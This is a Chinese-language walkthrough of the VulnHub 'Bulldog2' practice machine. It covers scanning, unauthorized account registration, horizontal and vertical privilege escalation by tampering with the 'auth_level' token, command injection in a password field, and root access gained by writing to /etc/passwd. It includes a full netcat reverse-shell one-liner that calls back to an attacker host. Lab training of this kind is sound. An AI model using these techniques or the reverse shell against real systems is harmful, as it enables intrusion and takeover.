kali渗透综合靶机(三)--bulldog2靶机

一、靶机下载

靶机下载地址:https://download.vulnhub.com/bulldog/Bulldog2.ova

二、bulldog2靶机搭建

靶机:
将下载好的靶机环境,用VM VirtualBox导入即可使用,管理->导入虚拟电脑
kali渗透综合靶机(三)--bulldog2靶机
kali渗透综合靶机(三)--bulldog2靶机
设置网络模式,网卡选择仅主机模式
kali渗透综合靶机(三)--bulldog2靶机
kali攻击机:
点开vmware中的虚拟选项编辑器中
点击更改设置,让vmware桥接至VirtualBox Host-Only Ethernet Adapter
kali渗透综合靶机(三)--bulldog2靶机
注意:靶机用VMware搭建,本电脑出现不能获取IP地址的问题,不知道你们电脑可不可以,不可以就用virtualbox虚拟机搭建吧
靶机搭建成功如下图所示,会自动出现IP地址
kali渗透综合靶机(三)--bulldog2靶机

三、攻击过程

1、主机发现

因靶机是自动获取IP,与kali在同一个网段,故用nmap扫描即可
nmap -sn 192.168.56.0/24
kali渗透综合靶机(三)--bulldog2靶机

2、端口扫描

根据上面主机发现得到的主机,然后依次对每个主机进行快速端口扫描,分析得到自己要攻击的目标主机
nmap -sS 192.168.56.102
kali渗透综合靶机(三)--bulldog2靶机

3、端口服务识别

kali渗透综合靶机(三)--bulldog2靶机

4、漏洞查找与利用

浏览器访问http://192.168.10.155,发现发现登录界面,尝试目录扫描,没发现有用信息
kali渗透综合靶机(三)--bulldog2靶机
kali渗透综合靶机(三)--bulldog2靶机
kali渗透综合靶机(三)--bulldog2靶机
查看主页,发现我们在查看页面的时候可以看到,页面上有个注册功能,但是点击报错。那根据个人经验估计突破口肯定在js文件里
kali渗透综合靶机(三)--bulldog2靶机
把所有js文件保存在本地,搜索关键字register,查看js文件,根据js的定义,我们可以使用post提交新账户信息来完成注册
kali渗透综合靶机(三)--bulldog2靶机
kali渗透综合靶机(三)--bulldog2靶机
根据js上的定义,我们可以使用 post提交 新账户信息来完成注册,但是注意这里有2点要求:
Content-Type 必须要是:application/json
post 数据包内容处,必须要严格按照js代码里的规范
构造数据包内容如***册新帐户aqk密码123456
kali渗透综合靶机(三)--bulldog2靶机

5、登录测试是否存在逻辑漏洞

登录aqk观察网页特点,发现url中路径结尾和用户名一样,测试是否存在越权漏洞,重新注册一个账户aaa
kali渗透综合靶机(三)--bulldog2靶机
在不登出aqk用户的前题下,把url修改为别的用户名,下图可以看到成功登录别的用户界面,说明存在水平越权漏洞
kali渗透综合靶机(三)--bulldog2靶机

6、测试是否存在未授权访问漏洞

在另一个浏览器,访问http://192.168.56.102/profile/aaa,没有经过身份验证直接进入sss账户的管理界面
kali渗透综合靶机(三)--bulldog2靶机
7、奇怪的token
登录aqk用户,发现页面没什么,没有什么可以利用的,重新登录,抓包分析,靶机返回一个奇怪的token
kali渗透综合靶机(三)--bulldog2靶机
下一步我们就来解密一下看这个tonken传递了什么内容,
kali渗透综合靶机(三)--bulldog2靶机
可以看到一个可疑的参数:“auth_level”,通过名字就应该知道是判断用户权限的,我们使用这个参数去刚刚保存的几个js文件里搜索看看,如图:
kali渗透综合靶机(三)--bulldog2靶机
在743行代码处,看到它的判断,下一步我们只需要把“master_admin_user” 替换掉原来的就行,如图:
拦截返回的response数据包,修改token值
kali渗透综合靶机(三)--bulldog2靶机
下一步就是复制修改后的新编码替换原来的编码,注:后面明文处也要修改成“master_admin_user”,如图:
kali渗透综合靶机(三)--bulldog2靶机
此时再看kkk账户已经变成管理员,说明存在垂直越权漏洞
kali渗透综合靶机(三)--bulldog2靶机
点击管理员
kali渗透综合靶机(三)--bulldog2靶机
输入用户名密码,抓包,然后在修改密码处添加反弹shell,在攻击端开启监听,发送数据包,这时攻击端便获得目标的shell了
kali渗透综合靶机(三)--bulldog2靶机
反弹shell命令:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.103 1234 >/tmp/f
在攻击端监听
kali渗透综合靶机(三)--bulldog2靶机
查看所有可写的文件

find / -writable -type f 2>/dev/null |grep -v “/proc/”
kali渗透综合靶机(三)--bulldog2靶机
passwd文件可以写,直接写入一条用户记录
先生成一个密码
kali渗透综合靶机(三)--bulldog2靶机
然后写入passwd文件,成功写入
kali渗透综合靶机(三)--bulldog2靶机
当前不是终端,无法切换账户,需要新打开一个终端,然后切换账户成功,获得管理员权限
python -c ‘import pty;pty.spawn("/bin/bash")’
kali渗透综合靶机(三)--bulldog2靶机
kali渗透综合靶机(三)--bulldog2靶机

四、总结

1.信息收集

2.水平越权

3.垂直越权

4.未授权访问

5.任意账户注册

6.命令执行